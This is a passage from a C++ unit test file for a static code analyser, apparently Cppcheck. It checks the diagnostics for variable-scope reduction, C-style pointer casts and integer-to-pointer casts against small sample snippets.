\" }\\n\"\n \" return *iter;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:28]: (style) Parameter 'vec' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"auto& foo(std::vector& vec, bool flag) {\\n\"\n \" std::vector dummy;\\n\"\n \" std::vector::iterator iter;\\n\"\n \" if (flag)\\n\"\n \" iter = vec.begin();\\n\"\n \" else {\\n\"\n \" dummy.push_back(42);\\n\"\n \" iter = dummy.begin();\\n\"\n \" }\\n\"\n \" return *iter;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope30() { // #8541\n check(\"bool f(std::vector& v, int i) {\\n\"\n \" int n = 0;\\n\"\n \" bool b = false;\\n\"\n \" std::for_each(v.begin(), v.end(), [&](int j) {\\n\"\n \" if (j == i) {\\n\"\n \" ++n;\\n\"\n \" if (n > 5)\\n\"\n \" b = true;\\n\"\n \" }\\n\"\n \" });\\n\"\n \" return b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope31() { // #11099\n check(\"bool g(std::vector&);\\n\"\n \"void h(std::vector);\\n\"\n \"void f0(std::vector v) {\\n\"\n \" std::vector w{ v };\\n\"\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f1(std::vector v) {\\n\"\n \" std::vector w{ v.begin(), v.end() };\\n\"\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f2(std::vector v) {\\n\"\n \" std::vector w{ 10, 0, std::allocator() };\\n\" // FN\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f3(std::vector v) {\\n\"\n \" std::vector w{ 10, 0 };\\n\" // warn\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f4(std::vector v) {\\n\"\n \" std::vector w{ 10 };\\n\" // warn\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f5(std::vector v) {\\n\"\n \" std::vector w(v);\\n\"\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f6(std::vector v) {\\n\"\n \" std::vector w(v.begin(), v.end());\\n\"\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f7(std::vector v) {\\n\"\n \" std::vector w(10, 0, std::allocator);\\n\" // FN\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f8(std::vector v) {\\n\"\n \" std::vector w(10, 0);\\n\" // warn\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f9(std::vector v) {\\n\"\n \" std::vector w(10);\\n\" // warn\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f10(std::vector v) {\\n\"\n \" std::vector w{};\\n\" // warn\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:25:22]: (style) The scope of the variable 'w' can be reduced. [variableScope]\\n\"\n \"[test.cpp:32:22]: (style) The scope of the variable 'w' can be reduced. [variableScope]\\n\"\n \"[test.cpp:60:22]: (style) The scope of the variable 'w' can be reduced. [variableScope]\\n\"\n \"[test.cpp:67:22]: (style) The scope of the variable 'w' can be reduced. [variableScope]\\n\"\n \"[test.cpp:74:22]: (style) The scope of the variable 'w' can be reduced. [variableScope]\\n\",\n errout_str());\n }\n\n void varScope32() { // #11441\n check(\"template \\n\"\n \"std::vector g(F, const std::vector&);\\n\"\n \"void f(const std::vector&v) {\\n\"\n \" std::vector w;\\n\"\n \" for (auto x : v)\\n\"\n \" w = g([&]() { x; }, w);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:23]: (warning) Unused variable value 'x' [constStatement]\\n\", errout_str());\n }\n\n void varScope33() { // #11131\n check(\"struct S {\\n\"\n \" const std::string& getStr() const;\\n\"\n \" void mutate();\\n\"\n \" bool getB() const;\\n\"\n \"};\\n\"\n \"void g(S& s) {\\n\"\n \" std::string str = s.getStr();\\n\"\n \" s.mutate();\\n\"\n \" if (s.getB()) {\\n\"\n \" if (str == \\\"abc\\\") {}\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void g(char* s, bool b) {\\n\"\n \" int i = strlen(s);\\n\"\n \" s[0] = '\\\\0';\\n\"\n \" if (b) {\\n\"\n \" if (i == 5) {}\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void f(const S& s) {\\n\"\n \" std::string str = s.getStr();\\n\"\n \" std::string str2{ s.getStr() };\\n\"\n \" std::string str3(s.getStr());\\n\"\n \" if (s.getB()) {\\n\"\n \" if (str == \\\"abc\\\") {}\\n\"\n \" if (str2 == \\\"abc\\\") {}\\n\"\n \" if (str3 == \\\"abc\\\") {}\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void f(const char* s, bool b) {\\n\"\n \" int i = strlen(s);\\n\"\n \" if (b) {\\n\"\n \" if (i == 5) {}\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void f(int j, bool b) {\\n\"\n \" int k = j;\\n\"\n \" if (b) {\\n\"\n \" if (k == 5) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:21:17]: (style) The scope of the variable 'str' can be reduced. [variableScope]\\n\"\n \"[test.cpp:22:17]: (style) The scope of the variable 'str2' can be reduced. [variableScope]\\n\"\n \"[test.cpp:23:17]: (style) The scope of the variable 'str3' can be reduced. [variableScope]\\n\"\n \"[test.cpp:31:9]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\"\n \"[test.cpp:37:9]: (style) The scope of the variable 'k' can be reduced. [variableScope]\\n\",\n errout_str());\n }\n\n void varScope34() { // #11742\n check(\"void f() {\\n\"\n \" bool b = false;\\n\"\n \" int i = 1;\\n\"\n \" for (int k = 0; k < 20; ++k) {\\n\"\n \" b = !b;\\n\"\n \" if (b)\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope35() { // #11845\n check(\"void f(int err, const char* src) {\\n\"\n \" const char* msg = \\\"Success\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (err != 0)\\n\"\n \" msg = strcpy(buf, src);\\n\"\n \" printf(\\\"%d: %s\\\\n\\\", err, msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"char* g(char* dst, const char* src);\\n\"\n \"void f(int err, const char* src) {\\n\"\n \" const char* msg = \\\"Success\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (err != 0)\\n\"\n \" msg = g(buf, src);\\n\"\n \" printf(\\\"%d: %s\\\\n\\\", err, msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"char* g(char* dst, const char* src);\\n\"\n \"void f(int err, const char* src) {\\n\"\n \" const char* msg = \\\"Success\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (err != 0)\\n\"\n \" g(buf, src);\\n\"\n \" printf(\\\"%d: %s\\\\n\\\", err, msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) The scope of the variable 'buf' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope36() {\n // #12158\n check(\"void f( uint32_t value ) {\\n\"\n \" uint32_t i = 0U;\\n\"\n \" if ( value > 100U ) { }\\n\"\n \" else if( value > 50U ) { }\\n\"\n \" else{\\n\"\n \" for( i = 0U; i < 5U; i++ ) {}\\n\"\n \" }\\n\"\n \"}\\n\", true, false);\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope37() {\n // #12158\n check(\"void f( uint32_t value ) {\\n\"\n \" uint32_t i = 0U;\\n\"\n \" if ( value > 100U ) { }\\n\"\n \" else {\\n\"\n \" if( value > 50U ) { }\\n\"\n \" else{\\n\"\n \" for( i = 0U; i < 5U; i++ ) {}\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\", true, false);\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope38() {\n checkP(\"bool dostuff();\\n\" // #12519\n \"#define DOSTUFF(c) if (c < 5) { if (c) b = dostuff(); }\\n\"\n \"#define DOSTUFFEX(c) { bool b = false; DOSTUFF(c); }\\n\"\n \"void f(int a) {\\n\"\n \" DOSTUFFEX(a);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope39() {\n check(\"struct S {\\n\" // #12405\n \" void f(const std::string&) const;\\n\"\n \" const int* g(std::string&) const;\\n\"\n \"};\\n\"\n \"void h(int);\\n\"\n \"void S::f(const std::string& s) const {\\n\"\n \" std::string n = s;\\n\"\n \" const int* a = g(n);\\n\"\n \" if (n == \\\"abc\\\") {\\n\"\n \" h(a[0]);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope40() {\n checkP(\"#define NUM (-999.9)\\n\" // #8862\n \"double f(int i) {\\n\"\n \" double a = NUM;\\n\"\n \" double b = -NUM;\\n\"\n \" double c = -1.0 * NUM;\\n\"\n \" if (i == 1) {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \" if (i == 2) {\\n\"\n \" return b;\\n\"\n \" }\\n\"\n \" if (i == 3) {\\n\"\n \" return c;\\n\"\n \" }\\n\"\n \" return 0.0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (style) The scope of the variable 'a' can be reduced. [variableScope]\\n\"\n \"[test.cpp:4:12]: (style) The scope of the variable 'b' can be reduced. [variableScope]\\n\"\n \"[test.cpp:5:12]: (style) The scope of the variable 'c' can be reduced. [variableScope]\\n\",\n errout_str());\n\n check(\"struct S { int a; };\\n\" // #12618\n \"int f(const S* s, int i) {\\n\"\n \" int x = s->a;\\n\"\n \" const int b[] = { 1, 2, 3 };\\n\"\n \" int y = b[1];\\n\"\n \" if (i)\\n\"\n \" return x + y;\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\"\n \"[test.cpp:5:9]: (style) The scope of the variable 'y' can be reduced. [variableScope]\\n\",\n errout_str());\n }\n\n void varScope41() { // #11845\n check(\"void get_errmsg(const char **msg, char *buf, size_t bufsiz, int err);\\n\"\n \"void test(int err)\\n\"\n \"{\\n\"\n \" const char *msg = \\\"Success\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (err != 0)\\n\"\n \" get_errmsg(&msg, buf, sizeof(buf), err);\\n\"\n \" printf(\\\"%d: %s\\\\n\\\", err, msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void get_errmsg(char *buf, size_t bufsiz, int err);\\n\"\n \"void test(int err)\\n\"\n \"{\\n\"\n \" const char *msg = \\\"Success\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (err != 0)\\n\"\n \" get_errmsg(buf, sizeof(buf), err);\\n\"\n \" printf(\\\"%d: %s\\\\n\\\", err, msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (style) The scope of the variable 'buf' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope42() {\n check(\"void f(const char **, char *);\\n\"\n \"void g(int e) {\\n\"\n \" const char *msg = \\\"Something\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (e != 0)\\n\"\n \" f(&msg, buf);\\n\"\n \" printf(\\\"result: %s\\\\n\\\", msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(char *, char *);\\n\"\n \"void g(int e) {\\n\"\n \" char msg [42] = \\\"Something\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (e != 0)\\n\"\n \" f(msg, buf);\\n\"\n \" printf(\\\"result: %s\\\\n\\\", msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const char *, char *);\\n\"\n \"void g(int e) {\\n\"\n \" const char *msg = \\\"Something\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (e != 0)\\n\"\n \" f(msg, buf);\\n\"\n \" printf(\\\"result: %s\\\\n\\\", msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) The scope of the variable 'buf' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f(int **, char *);\\n\"\n \"void g(int e) {\\n\"\n \" int *msg = calloc(0, sizeof(*msg));\\n\"\n \" char buf[42];\\n\"\n \" if (e != 0)\\n\"\n \" f(&msg, buf);\\n\"\n \" printf(\\\"result: %d\\\\n\\\", *msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) The scope of the variable 'buf' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f(const char *&, const char *&);\\n\"\n \"void g(int e) {\\n\"\n \" const char *msg = \\\"Something\\\";\\n\"\n \" char *buf = malloc(42);\\n\"\n \" if (e != 0)\\n\"\n \" f(msg, buf);\\n\"\n \" printf(\\\"result: %d\\\\n\\\", msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(const char* format, ...);\\n\"\n \"void f(bool b) {\\n\"\n \" const char* s = \\\"abc\\\";\\n\"\n \" if (b)\\n\"\n \" g(\\\"%d %s\\\", 1, s);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) The scope of the variable 's' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope43() {\n check(\"struct S { int a, b; };\\n\" // #13838\n \"int f(S s) {\\n\"\n \" auto& [x, y] = s;\\n\"\n \" if (x < 5) {\\n\"\n \" return y;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int a; };\\n\"\n \"int f(S s) {\\n\"\n \" auto& [x] = s;\\n\"\n \" if (y) {\\n\"\n \" return x;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n#define checkOldStylePointerCast(...) checkOldStylePointerCast_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkOldStylePointerCast_(const char* file, int line, const char (&code)[size], Standards::cppstd_t std = Standards::CPPLatest) {\n\n const Settings settings = settingsBuilder().severity(Severity::warning).severity(Severity::style).cpp(std).build();\n\n // Tokenize..\n SimpleTokenizer tokenizerCpp(settings, *this);\n ASSERT_LOC(tokenizerCpp.tokenize(code), file, line);\n\n CheckOther checkOtherCpp(&tokenizerCpp, &settings, this);\n checkOtherCpp.warningOldStylePointerCast();\n checkOtherCpp.warningDangerousTypeCast();\n }\n\n void oldStylePointerCast() {\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void foo(Base* base)\\n\"\n \"{\\n\"\n \" Derived * d = (Derived *) base;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void foo(Derived* derived)\\n\"\n \"{\\n\"\n \" Base * b = (Base *) derived;\\n\" // <- cast from derived to base is safe => cstyleCast\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"void foo(Base* base)\\n\"\n \"{\\n\"\n \" Derived * d = (Derived *) base;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void foo(Base* base)\\n\"\n \"{\\n\"\n \" Derived * d = (const Derived *) base;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Derived * d = (const Derived *) ( new Base() );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Derived * d = (const Derived *) new Base();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (Base *) new short[10];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (volatile Base *) derived;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (volatile Base * const) derived;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (const volatile Base *) derived;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (const volatile Base * const) derived;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (const Base *) ( new Derived() );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (const Base *) new Derived();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (const Base *) new short[10];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class B;\\n\"\n \"class A\\n\"\n \"{\\n\"\n \" virtual void abc(B *) const = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOldStylePointerCast(\"class B;\\n\"\n \"class A\\n\"\n \"{\\n\"\n \" virtual void abc(const B *) const = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #3630\n checkOldStylePointerCast(\"class SomeType{};\\n\"\n \"class X : public Base {\\n\"\n \" X() : Base((SomeType*)7) {}\\n\" // <- intToPointerCast\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOldStylePointerCast(\"class SomeType{};\\n\"\n \"class X : public Base {\\n\"\n \" X() : Base((SomeType*)0x7000) {}\\n\" // <- it's common in embedded code to cast address\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOldStylePointerCast(\"class SomeType;\\n\"\n \"class X : public Base {\\n\"\n \" X() : Base((SomeType*)var) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class SomeType;\\n\"\n \"class X : public Base {\\n\"\n \" X() : Base((SomeType*)0) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5560\n checkOldStylePointerCast(\"class C;\\n\"\n \"\\n\"\n \"class B\\n\"\n \"{ virtual G* createGui(S*, C*) const = 0; };\\n\"\n \"\\n\"\n \"class MS : public M\\n\"\n \"{ virtual void addController(C*) override {} };\", Standards::CPP03);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6164\n checkOldStylePointerCast(\"class Base {};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void testCC() {\\n\"\n \" std::vector v;\\n\"\n \" v.push_back((Base*)new Derived);\\n\"\n \"}\");\n // FIXME write a dangerousTypeCast warning instead\n ASSERT_EQUALS(\"[test.cpp:5:15]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n // #7709\n checkOldStylePointerCast(\"typedef struct S S;\\n\"\n \"typedef struct S SS;\\n\"\n \"typedef class C C;\\n\"\n \"typedef long LONG;\\n\"\n \"typedef long* LONGP;\\n\"\n \"struct T {};\\n\"\n \"typedef struct T TT;\\n\"\n \"typedef struct T2 {} TT2;\\n\"\n \"void f(int* i) {\\n\"\n \" S* s = (S*)i;\\n\"\n \" SS* ss = (SS*)i;\\n\"\n \" struct S2* s2 = (struct S2*)i;\\n\"\n \" C* c = (C*)i;\\n\"\n \" class C2* c2 = (class C2*)i;\\n\"\n \" long* l = (long*)i;\\n\"\n \" LONG* l2 = (LONG*)i;\\n\"\n \" LONGP l3 = (LONGP)i;\\n\"\n \" TT* tt = (TT*)i;\\n\"\n \" TT2* tt2 = (TT2*)i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:10:12]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:11:14]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:12:21]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:13:12]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:14:20]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:15:15]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:16:16]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:17:16]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:18:14]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:19:16]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\",\n errout_str());\n\n // #8649\n checkOldStylePointerCast(\"struct S {};\\n\"\n \"void g(S*& s);\\n\"\n \"void f(uintptr_t i) {\\n\"\n \" g((S*&)i);\\n\"\n \" S*& r = (S*&)i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) C-style pointer casting [cstyleCast]\\n\"\n \"[test.cpp:5:13]: (style) C-style pointer casting [cstyleCast]\\n\",\n errout_str());\n\n checkOldStylePointerCast(\"struct S {};\\n\"\n \"void g(S*& s);\\n\"\n \"void f(uint8_t i) {\\n\"\n \" g((S*&)i);\\n\"\n \" S*& r = (S*&)i;\\n\"\n \"}\\n\");\n // TODO: these conversions are dangerous, but it's a different issue not covered by cstyleCast. A separate checker can be added which is executed for both C and C++ code.\n // clang says: 1.cpp:5:18: warning: cast to 'unsigned char *' from smaller integer type 'uint8_t' (aka 'unsigned char') [-Wint-to-pointer-cast]\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) C-style pointer casting [cstyleCast]\\n\"\n \"[test.cpp:5:13]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n // #10823\n checkOldStylePointerCast(\"void f(void* p) {\\n\"\n \" auto h = reinterpret_cast(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5210\n checkOldStylePointerCast(\"class Base {};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void f(Base** b1, Base*** b2) {\\n\"\n \" Derived** p1 = (Derived**)b1;\\n\"\n \" Derived*** p2 = (Derived***)b2;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:20]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:5:21]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\",\n errout_str());\n\n // #12446\n checkOldStylePointerCast(\"namespace N { struct S {}; }\\n\"\n \"union U {\\n\"\n \" int i;\\n\"\n \" char c[4];\\n\"\n \"};\\n\"\n \"void f(void* p) {\\n\"\n \" auto ps = (N::S*)p;\\n\"\n \" auto pu = (union U*)p;\\n\"\n \" auto pv = (std::vector*)(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:15]: (style) C-style pointer casting [cstyleCast]\\n\"\n \"[test.cpp:8:15]: (style) C-style pointer casting [cstyleCast]\\n\"\n \"[test.cpp:9:15]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n // #12447\n checkOldStylePointerCast(\"class Base {};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void f(const Base& base) {\\n\"\n \" d = (const Derived&)base;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n // #11430\n checkOldStylePointerCast(\"struct B {\\n\"\n \" float* data() const;\\n\"\n \"};\\n\"\n \"namespace N {\\n\"\n \" bool f(float* v);\\n\"\n \"}\\n\"\n \"bool g(B& b) {\\n\"\n \" using float_ptr = float*;\\n\"\n \" return N::f(float_ptr(b.data()));\\n\" // <- the cast is safe\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:17]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n }\n\n#define checkIntToPointerCast(...) checkIntToPointerCast_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkIntToPointerCast_(const char* file, int line, const char (&code)[size]) {\n\n const Settings settings = settingsBuilder().severity(Severity::portability).build();\n\n // Tokenize..\n SimpleTokenizer tokenizerCpp(settings, *this);\n ASSERT_LOC(tokenizerCpp.tokenize(code), file, line);\n\n CheckOther checkOtherCpp(&tokenizerCpp, &settings, this);\n checkOtherCpp.warningIntToPointerCast();\n }\n\n void intToPointerCast() {\n // #3630\n checkIntToPointerCast(\"uint8_t* ptr = (uint8_t*)7;\");\n ASSERT_EQUALS(\"[test.cpp:1:16]: (portability) Casting non-zero decimal integer literal to pointer. [intToPointerCast]\\n\", errout_str());\n\n checkIntToPointerCast(\"void* ptr = (void*)7;\");\n ASSERT_EQUALS(\"[test.cpp:1:13]: (portability) Casting non-zero decimal integer literal to pointer. [intToPointerCast]\\n\", errout_str());\n\n checkIntToPointerCast(\"uint8_t* ptr = (uint8_t*)0;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkIntToPointerCast(\"uint8_t* ptr = (uint8_t*)0x7000;\"); // <- it's common in embedded code to cast address\n ASSERT_EQUALS(\"\", errout_str());\n\n checkIntToPointerCast(\"struct S { int i; };\\n\" // #13886, don't crash\n \"int f() { return sizeof(((struct S*)0)->i); }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n#define checkInvalidPointerCast(...) checkInvalidPointerCast_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkInvalidPointerCast_(const char* file, int line, const char (&code)[size], bool portability = true, bool inconclusive = false) {\n /*const*/ Settings settings = settingsBuilder().severity(Severity::warning).severity(Severity::portability, portability).certainty(Certainty::inconclusive, inconclusive).build();\n settings.platform.defaultSign = 's';\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n CheckOther 